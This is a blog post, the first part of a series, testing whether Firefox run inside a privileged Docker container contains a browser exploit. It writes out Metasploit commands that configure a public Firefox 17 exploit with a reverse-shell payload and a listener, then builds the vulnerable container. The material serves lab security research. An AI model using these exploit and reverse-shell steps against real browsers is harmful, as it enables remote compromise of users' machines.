I’m back to cause some trouble. I’m two posts behind (the one-a-week thing doesn’t always work out), but I’d rather be late than write for the sake of writing about something that’s already been covered a thousand times.

Today I bring you an idea that had been in my head for a while and I’d never found the time to try: running Firefox in Docker. And when I say Firefox, it could be any desktop application.

Searching around I found how to do it, but the real question stayed with me: how safe is it to run Firefox, or any app, on top of Docker?

So let’s get to it.

Why run Firefox in Docker?

The way I see it, there are two reasons to want a desktop app (Firefox, in this case) inside a Docker container:

  • Dependency isolation and portability: one of Docker’s big wins.
  • Security: Docker puts the app in a container and adds a layer that isolates it from the operating system.

We’re going for the second one. Given Docker’s whole philosophy, why might it be a good idea to run Firefox inside a container?

You already know every browser has vulnerabilities. No matter how up to date we keep them, the 0 days are still there. With that in mind, it makes sense to run the browser in a sandbox that’s as isolated from the native system as possible. Put another way: if someone owns our Firefox, don’t let them reach the operating system. Something along the lines of what Sandboxie does.

What’s our goal?

Since we can run Firefox in a sandbox with Docker, what I wanted was to check whether that’s actually safe.

The setup

Software:

  • Metasploit (the one that ships with Kali 2.0).
  • Firefox 17.0. You can grab it here: https://ftp.mozilla.org/pub/firefox/releases/17.0.1/
  • Docker 1.11.1 for Ubuntu Linux.

Infrastructure:

  • Kali Linux 2.0
  • Ubuntu Linux 14, kernel 3.13.0-83-generic.

We use Firefox 17, a pretty old version, because the idea is to see how far an attacker could get by exploiting a browser bug. This version has a known vulnerability and a public exploit that already ships with Metasploit.

The procedure

To check it out I tried to run a serious analysis, with every step written down so you can reproduce it yourself.

These are the steps:

  1. Build a vulnerable URL with the Firefox 17 exploit, using Metasploit (the Kali machine).
  2. Build and run Firefox 17 with Docker on the Docker host (the Ubuntu machine).
  3. Visit the vulnerable URL with that Firefox 17 to exploit the bug.
  4. Once exploited, try to run commands inside the Docker container.
  5. Try to run commands on the base system, that is, outside the container.

The steps

Building the vulnerable URL

Time for a bit of Metasploit. First we update with msfupdate to get the latest exploits, then we launch msfconsole:

# msfconsole
 _                                                    _
/ \    /\         __                         _   __  /_/ __
| |\  / | _____   \ \           ___   _____ | | /  \ _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_
      |/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\


Validate lots of vulnerabilities to demonstrate exposure
with Metasploit Pro -- Learn more on http://rapid7.com/metasploit

       =[ metasploit v4.11.5-2016010401                   ]
+ -- --=[ 1517 exploits - 875 auxiliary - 257 post        ]
+ -- --=[ 437 payloads - 37 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf >

Now we pick the Firefox exploit exploit/multi/browser/firefox_tostring_console_injection:

msf> use exploit/multi/browser/firefox_tostring_console_injection
msf exploit(firefox_tostring_console_injection) > show info

       Name: Firefox toString console.time Privileged Javascript Injection
     Module: exploit/multi/browser/firefox_tostring_console_injection
   Platform:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-05-14

Provided by:
  moz_bug_r_a4
  Cody Crews
  joev <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Universal (Javascript XPCOM Shell)
  1   Native Payload

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  CONTENT                   no        Content to display inside the HTML <body>.
  Retries  true             no        Allow the browser to retry the module
  SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
  SRVPORT  8080             yes       The local port to listen on.
  SSL      false            no        Negotiate SSL for incoming connections
  SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                   no        The URI to use for this exploit (default is random)

Payload information:

Description:
  This exploit gains remote code execution on Firefox 15-22 by abusing
  two separate Javascript-related vulnerabilities to ultimately inject
  malicious Javascript code into a context running with chrome://
  privileges.

References:
  http://cvedetails.com/cve/2013-1710/

If you look at the output of show info, the description says the exploit works for Firefox 15-22. That’s why the chosen version is 17.

Now we pick the payload that runs after the bug is exploited. We want a shell, so we use firefox/shell_reverse_tcp:


msf exploit(firefox_tostring_console_injection) > set payload firefox/shell_reverse_tcp
msf exploit(firefox_tostring_console_injection) > show options

...

Payload options (firefox/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Universal (Javascript XPCOM Shell)

Running show options shows the payload needs the IP we want to listen on, that is, where the victims will connect once the browser falls: the IP where Metasploit is running.

msf exploit(firefox_tostring_console_injection) > set LHOST 10.211.55.61

All that’s left is to put Metasploit in listening mode:

msf exploit(firefox_tostring_console_injection) > run
[*] Exploit running as background job.

[*] Started reverse TCP handler on 10.211.55.61:4444
[*] Using URL: http://0.0.0.0:8080/7eeNxNzqd
[*] Local IP: http://10.211.55.61:8080/7eeNxNzqd
[*] Server started.

Done. Now we just need to get the victim, our vulnerable Firefox, to open the URL http://10.211.55.61:8080/7eeNxNzqd.

Building the Docker container with Firefox 17

Like I said, some people have already done the legwork. For example: https://hub.docker.com/r/chrisdaish/firefox/~/dockerfile/

Two things from that repository interest us:

  • How to create the Docker container: the command isn’t exactly trivial, and we’ll see why later.
  • How to modify it: we have to change the original container so it launches the vulnerable Firefox instead of the preinstalled one.

First we need to have downloaded and unpacked Firefox 17 and left it somewhere the Docker host can reach. To avoid editing the command every time, I keep the path in the BASH variable FIREFOX.

With that clear, we create the Docker container from the author’s image. On the Docker host (Ubuntu) we run this:

Important: this command can’t be run over SSH, because it uses GTK and other graphics libraries.

# export FIREFOX=/media/psf/Home/Downloads/firefox-17
# docker run -it -v $FIREFOX:/home/firefox/Downloads:rw -v /tmp/.X11-unix:/tmp/.X11-unix -v /dev/snd:/dev/snd --privileged -e uid=$(id -u) -e gid=$(id -g) -e DISPLAY=unix$DISPLAY --name firefox chrisdaish/firefox

After downloading 500-something megabytes, Firefox opens up.

Before moving on, let’s see what each parameter does:

  • -it: we tell Docker to run it in an interactive session with a terminal.
  • -v: we mount volumes from the Docker host into the container.
  • –privileged: we run the container in privileged mode. It’s needed because otherwise we wouldn’t have access to graphics rendering, for example.
  • -e: we set environment variables inside the container.
  • –name: the name we give the container.

And why we mount these volumes:

  • /tmp/.X11-unix: without it there’s no access to Linux’s X11 and we can’t use the windowing system.
  • /dev/snd: without it there’s no sound, and since we want a full Firefox (one that plays audio in videos, for instance) we need it.

Note: this can be done more elegantly by writing our own Dockerfile, but since it’s a proof of concept, this way was faster for me.

At this point we already have a Firefox running. The catch is that it’s not vulnerable, so we’re going to swap the Firefox the container launches for the one we downloaded. The plan is to get into the docker and change the entry point.

Getting into the running container

Without stopping the Docker (don’t close the Firefox that opened), we go to another terminal and run:

# docker exec -it firefox /bin/bash

That gets us inside the container so we can tinker with it. We’re going to:

  • Create a link in /usr/bin pointing to our vulnerable Firefox.
  • Edit the file /tmp/start-firefox.sh, which the author of the docker uses to tell the container what command to start on boot.

We do it like this:

# docker exec -it firefox /bin/bash
root@3364ca6e69a1:/# ln -s /home/firefox/Downloads/firefox /usr/bin/firefox-17
root@3364ca6e69a1:/# cat /tmp/start-firefox.sh
#!/bin/bash
groupmod -g $gid firefox
usermod -u $uid -g $gid firefox

if [ -d /home/firefox/.mozilla ]; then
  chown -R firefox:firefox /home/firefox/.mozilla
fi

#
# WE EDIT THIS LINE AND CHANGE: /usr/bin/firefox --> /usr/bin/firefox-17
#
# exec su -ls "/bin/bash" -c "/usr/bin/firefox-17 -profile /home/firefox/.mozilla/firefox $ARGS $URL" firefox
exec su -ls "/bin/bash" -c "/usr/bin/firefox-17 -profile /home/firefox/.mozilla/firefox $ARGS $URL" firefox

Et voilà, everything’s ready. How do we check it? Easy: close the Firefox that Docker opened during install. Once it’s closed, we start the Docker again, and this time it comes up with the vulnerable version:

# docker start firefox

And finally, if we open the browser and go to about:config, we’ll see that the version running is 17:

Firefox 17 running in about:config

Wrap-up and next installment

That’s it for today. Yes, I’m leaving you halfway, but it was getting really long so I decided to split it in two.

We already have the whole foundation and the environment ready. Next week we close with:

  • The exploitation of Firefox.
  • The remote command execution with Metasploit inside the Docker container.
  • And the big question: can we reach the host system?

Cheers!